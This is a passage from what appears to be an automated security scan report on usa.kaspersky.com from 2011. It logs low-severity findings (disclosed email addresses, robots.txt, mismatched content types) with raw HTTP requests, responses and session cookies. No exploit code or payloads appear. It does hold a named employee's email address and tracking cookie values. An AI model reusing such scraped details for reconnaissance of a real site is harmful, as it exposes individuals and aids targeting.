Cookie: s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes; s_sq=kaspersky-usa%3D%2526pid%253DHomepage%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fsites%25252Fusa.kaspersky.com%25252Ffiles%25252Fcustom_search%25252Fsearch-grey.gif%2526ot%253DIMAGE; NO_CACHE=Y; gpv_pageName=Homepage; s_nr=1315139049879-New

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sat, 03 Sep 2011 17:59:27 GMT
ETag: "3128132-321d6-4ac0d3d217dc0"
Cache-Control: max-age=1209600
Expires: Sun, 18 Sep 2011 11:59:40 GMT
Content-Type: application/x-javascript
Content-Length: 205270
Date: Sun, 04 Sep 2011 12:23:37 GMT
X-Varnish: 1163052092 1163017224
Age: 1437
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: HIT

/*
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-02-
...[SNIP]...
elect.js
/**
* .disableTextSelect - Disable Text Select Plugin
*
* Version: 1.1
* Updated: 2007-11-28
*
* Used to stop users from selecting text
*
* Copyright (c) 2007 James Dempster (letssurf@gmail.com, http://www.jdempster.com/category/jquery/disabletextselect/)
*
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
**/

/**
* Requirements:
* - jQuery
...[SNIP]...

4.10. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_5a9a5376d71ae1646a25b8ca6f6918ac.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/js/js_5a9a5376d71ae1646a25b8ca6f6918ac.js

Issue detail

The following email address was disclosed in the response:

Request

GET /sites/usa.kaspersky.com/files/js/js_5a9a5376d71ae1646a25b8ca6f6918ac.js HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sat, 03 Sep 2011 17:59:35 GMT
ETag: "3128559-3ea8b-4ac0d3d9b8fc0"
Cache-Control: max-age=1209600
Expires: Sun, 18 Sep 2011 11:50:59 GMT
Content-Type: application/x-javascript
Content-Length: 256651
Date: Sun, 04 Sep 2011 12:14:00 GMT
X-Varnish: 1163036388 1163006783
Age: 1381
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: HIT

/*
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-02-
...[SNIP]...
elect.js
/**
* .disableTextSelect - Disable Text Select Plugin
*
* Version: 1.1
* Updated: 2007-11-28
*
* Used to stop users from selecting text
*
* Copyright (c) 2007 James Dempster (letssurf@gmail.com, http://www.jdempster.com/category/jquery/disabletextselect/)
*
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
**/

/**
* Requirements:
* - jQuery
...[SNIP]...

4.11. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_6e74c2e98f0fbe5a3612ed82de36fc7c.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/js/js_6e74c2e98f0fbe5a3612ed82de36fc7c.js

Issue detail

The following email address was disclosed in the response:

Request

GET /sites/usa.kaspersky.com/files/js/js_6e74c2e98f0fbe5a3612ed82de36fc7c.js HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/products-services/home-computer-security/internet-security
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; intcamp=INT1673886; op646kaspersky_us_storepagegum=a01603h0892794r05t3df84d5; NO_CACHE=Y; slider_session=yes; s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.5.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gpv_pageName=Search%20%7C%20Search%20Results; ev5=far%2Bhelp%2Bvirus; s_nr=1315139084465-New; s_sq=kaspersky-usa%3D%2526pid%253DSearch%252520%25257C%252520Search%252520Results%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fresources%25252Fknowledge-center%25252Fwhitepapers%2526ot%253DA

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sat, 03 Sep 2011 17:59:38 GMT
ETag: "3128566-3fe9a-4ac0d3dc95680"
Cache-Control: max-age=1209600
Expires: Sun, 18 Sep 2011 12:22:37 GMT
Content-Type: application/x-javascript
Content-Length: 261786
Date: Sun, 04 Sep 2011 12:24:07 GMT
X-Varnish: 1163052987 1163050582
Age: 90
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: HIT

/*
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-02-
...[SNIP]...
elect.js
/**
* .disableTextSelect - Disable Text Select Plugin
*
* Version: 1.1
* Updated: 2007-11-28
*
* Used to stop users from selecting text
*
* Copyright (c) 2007 James Dempster (letssurf@gmail.com, http://www.jdempster.com/category/jquery/disabletextselect/)
*
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
**/

/**
* Requirements:
* - jQuery
...[SNIP]...

4.12. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_a4d3545defa8bc26011651e729544348.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/js/js_a4d3545defa8bc26011651e729544348.js

Issue detail

The following email address was disclosed in the response:

Request

GET /sites/usa.kaspersky.com/files/js/js_a4d3545defa8bc26011651e729544348.js HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/store/kaspersky-store
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; NO_CACHE=Y; s_cc=true; intcamp=INT1673886; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.3.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gpv_pageName=Search%20%7C%20Search%20Results; ev5=xss; s_nr=1315139061299-New; slider_session=yes

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sat, 03 Sep 2011 17:59:58 GMT
ETag: "312856d-329f7-4ac0d3efa8380"
Cache-Control: max-age=1209600
Expires: Sun, 18 Sep 2011 12:22:05 GMT
Content-Type: application/x-javascript
Content-Length: 207351
Date: Sun, 04 Sep 2011 12:23:47 GMT
X-Varnish: 1163052532 1163049581
Age: 102
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: HIT

/*
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-02-
...[SNIP]...
elect.js
/**
* .disableTextSelect - Disable Text Select Plugin
*
* Version: 1.1
* Updated: 2007-11-28
*
* Used to stop users from selecting text
*
* Copyright (c) 2007 James Dempster (letssurf@gmail.com, http://www.jdempster.com/category/jquery/disabletextselect/)
*
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
**/

/**
* Requirements:
* - jQuery
...[SNIP]...

4.13. http://usa.kaspersky.com/sites/usa.kaspersky.com/files/js/js_d4f653caa3cf2cb11ec0b051827bac22.js  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /sites/usa.kaspersky.com/files/js/js_d4f653caa3cf2cb11ec0b051827bac22.js

Issue detail

The following email address was disclosed in the response:

Request

GET /sites/usa.kaspersky.com/files/js/js_d4f653caa3cf2cb11ec0b051827bac22.js HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/node/12354/lightbox2
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: */*
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; intcamp=INT1673886; op646kaspersky_us_storepagegum=a01603h0892794r05t3df84d5; NO_CACHE=Y; slider_session=yes; ev5=far%2Bhelp%2Bvirus; s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.9.9.1315139091566; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); gpv_pageName=Store%20%7C%20Home%20Users%20%7C%20Kaspersky%20Store; s_nr=1315139100971-New; s_sq=kaspersky-usa%3D%2526pid%253DStore%252520%25257C%252520Home%252520Users%252520%25257C%252520Kaspersky%252520Store%2526pidt%253D1%2526oid%253Dfunctiononclick(event)%25257B%252524('%252523pure-users-3y-prices').show()%25253B%252524('%252523pure-users-2y-prices').hide()%25253B%252524('%252523pure-%2526oidt%253D2%2526ot%253DDIV

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sat, 03 Sep 2011 18:00:25 GMT
ETag: "312858c-324f7-4ac0d40968040"
Cache-Control: max-age=1209600
Expires: Sun, 18 Sep 2011 12:13:09 GMT
Content-Type: application/x-javascript
Content-Length: 206071
Date: Sun, 04 Sep 2011 12:24:33 GMT
X-Varnish: 1163053697 1163034992
Age: 684
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: HIT

/*
* jQuery JavaScript Library v1.3.2
* http://jquery.com/
*
* Copyright (c) 2009 John Resig
* Dual licensed under the MIT and GPL licenses.
* http://docs.jquery.com/License
*
* Date: 2009-02-
...[SNIP]...
elect.js
/**
* .disableTextSelect - Disable Text Select Plugin
*
* Version: 1.1
* Updated: 2007-11-28
*
* Used to stop users from selecting text
*
* Copyright (c) 2007 James Dempster (letssurf@gmail.com, http://www.jdempster.com/category/jquery/disabletextselect/)
*
* Dual licensed under the MIT (MIT-LICENSE.txt)
* and GPL (GPL-LICENSE.txt) licenses.
**/

/**
* Requirements:
* - jQuery
...[SNIP]...

4.14. http://usa.kaspersky.com/store/kaspersky-store  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /store/kaspersky-store

Issue detail

The following email addresses were disclosed in the response:

Request

GET /store/kaspersky-store HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Referer: http://usa.kaspersky.com/?domain=kapersky.com
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes; s_sq=kaspersky-usa%3D%2526pid%253DHomepage%2526pidt%253D1%2526oid%253Dhttp%25253A%25252F%25252Fusa.kaspersky.com%25252Fsites%25252Fusa.kaspersky.com%25252Ffiles%25252Fcustom_search%25252Fsearch-grey.gif%2526ot%253DIMAGE; NO_CACHE=Y; gpv_pageName=Homepage; s_nr=1315139049879-New

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Sun, 04 Sep 2011 12:25:15 +0000
Cache-Control: no-cache, must-revalidate, post-check=0, pre-check=0
ETag: "1315139115"
Content-Type: text/html; charset=utf-8
Content-Length: 62521
Date: Sun, 04 Sep 2011 12:25:24 GMT
X-Varnish: 1163054948
Age: 0
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: MISS

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Strict//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-strict.dtd">
<html xmlns="http://www.w3.org/1999/xhtml" xml:lang="en" lang="en" dir="ltr" xmlns:og="ht
...[SNIP]...
<meta property="og:email" content="katelyn.fogarty@kaspersky.com" />
...[SNIP]...
<a href="mailto:newvirus@kaspersky.com">
...[SNIP]...

5. Robots.txt file  previous  next

Summary

Severity:   Information
Confidence:   Certain
Host:   http://usa.kaspersky.com
Path:   /

Issue detail

The web server contains a robots.txt file.

Issue background

The file robots.txt is used to give instructions to web robots, such as search engine crawlers, about locations within the web site which robots are allowed, or not allowed, to crawl and index.

The presence of the robots.txt does not in itself present any kind of security vulnerability. However, it is often used to identify restricted or private areas of a site's contents. The information in the file may therefore help an attacker to map out the site's contents, especially if some of the locations identified are not linked from elsewhere in the site. If the application relies on robots.txt to protect access to these areas, and does not enforce proper access control over them, then this presents a serious vulnerability.

Issue remediation

The robots.txt file is not itself a security threat, and its correct use can represent good practice for non-security reasons. You should not assume that all web robots will honour the file's instructions. Rather, assume that attackers will pay close attention to any locations identified in the file. Do not rely on robots.txt to provide any kind of protection over unauthorised access.

Request

GET /robots.txt HTTP/1.0
Host: usa.kaspersky.com

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Mon, 08 Nov 2010 15:07:01 GMT
ETag: "31082f5-49-4948bf9e8ef40"
Cache-Control: max-age=1209600
Expires: Sun, 18 Sep 2011 12:16:20 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 73
Date: Sun, 04 Sep 2011 12:17:53 GMT
X-Varnish: 1163042583 1163039953
Age: 92
Via: 1.1 varnish
Connection: close
X-Varnish-Cache: HIT

User-agent: *
Disallow:

Sitemap: http://usa.kaspersky.com/sitemap.xml

6. Content type incorrectly stated  previous
There are 2 instances of this issue:

Issue background

If a web response specifies an incorrect content type, then browsers may process the response in unexpected ways. If the specified content type is a renderable text-based format, then the browser will usually attempt to parse and render the response in that format. If the specified type is an image format, then the browser will usually detect the anomaly and will analyse the actual content and attempt to determine its MIME type. Either case can lead to unexpected results, and if the content contains any user-controllable data may lead to cross-site scripting or other client-side vulnerabilities.

In most cases, the presence of an incorrect content type statement does not constitute a security flaw, particularly if the response contains static content. You should review the contents of the response and the context in which it appears to determine whether any vulnerability exists.

Issue remediation

For every response containing a message body, the application should include a single Content-type header which correctly and unambiguously states the MIME type of the content in the response body.


6.1. http://usa.kaspersky.com/favicon.ico  previous  next

Summary

Severity:   Information
Confidence:   Firm
Host:   http://usa.kaspersky.com
Path:   /favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains HTML. However, it actually appears to contain plain text.

Request

GET /favicon.ico HTTP/1.1
Accept: */*
Accept-Encoding: gzip
User-Agent: Mozilla/5.0 (compatible; Google Desktop/5.9.1005.12335; http://desktop.google.com/)
Host: usa.kaspersky.com
Proxy-Connection: Keep-Alive

Response

HTTP/1.1 404 Not Found
Server: Apache
Content-Type: text/html; charset=iso-8859-1
Content-Length: 45
Date: Sun, 04 Sep 2011 12:14:07 GMT
X-Varnish: 1163036524 1163030951
Age: 219
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: HIT

The requested file favicon.ico was not found.

6.2. http://usa.kaspersky.com/sites/default/files/kaspersky_usatheme_favicon.ico  previous

Summary

Severity:   Information
Confidence:   Firm
Host:   http://usa.kaspersky.com
Path:   /sites/default/files/kaspersky_usatheme_favicon.ico

Issue detail

The response contains the following Content-type statement:The response states that it contains plain text. However, it actually appears to contain unrecognised content.

Request

GET /sites/default/files/kaspersky_usatheme_favicon.ico HTTP/1.1
Host: usa.kaspersky.com
Proxy-Connection: keep-alive
Accept: */*
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/535.1 (KHTML, like Gecko) Chrome/13.0.782.220 Safari/535.1
Accept-Encoding: gzip,deflate,sdch
Accept-Language: en-US,en;q=0.8
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.3
Cookie: s_cc=true; gpv_pageName=Homepage; s_nr=1315138484684-New; s_sq=%5B%5BB%5D%5D; __utma=205612169.764119128.1315138485.1315138485.1315138485.1; __utmb=205612169.1.10.1315138485; __utmc=205612169; __utmz=205612169.1315138485.1.1.utmcsr=(direct)|utmccn=(direct)|utmcmd=(none); s_vi=[CS]v1|2731B5C785013339-4000010CE01E480D[CE]; slider_session=yes

Response

HTTP/1.1 200 OK
Server: Apache
Last-Modified: Wed, 04 Aug 2010 18:23:15 GMT
ETag: "3128478-1ba6-48d0386edeac0"
Cache-Control: max-age=1209600
Expires: Sun, 18 Sep 2011 11:56:57 GMT
Content-Type: text/plain; charset=UTF-8
Content-Length: 7078
Date: Sun, 04 Sep 2011 12:20:06 GMT
X-Varnish: 1163045996 1163013922
Age: 1389
Via: 1.1 varnish
Connection: keep-alive
X-Varnish-Cache: HIT

...... ..........F...........(.......00..........V... ..............(... ...@.........................................................................................................................
...[SNIP]...

Report generated by XSS.CX at Sun Sep 04 06:29:41 GMT-06:00 2011.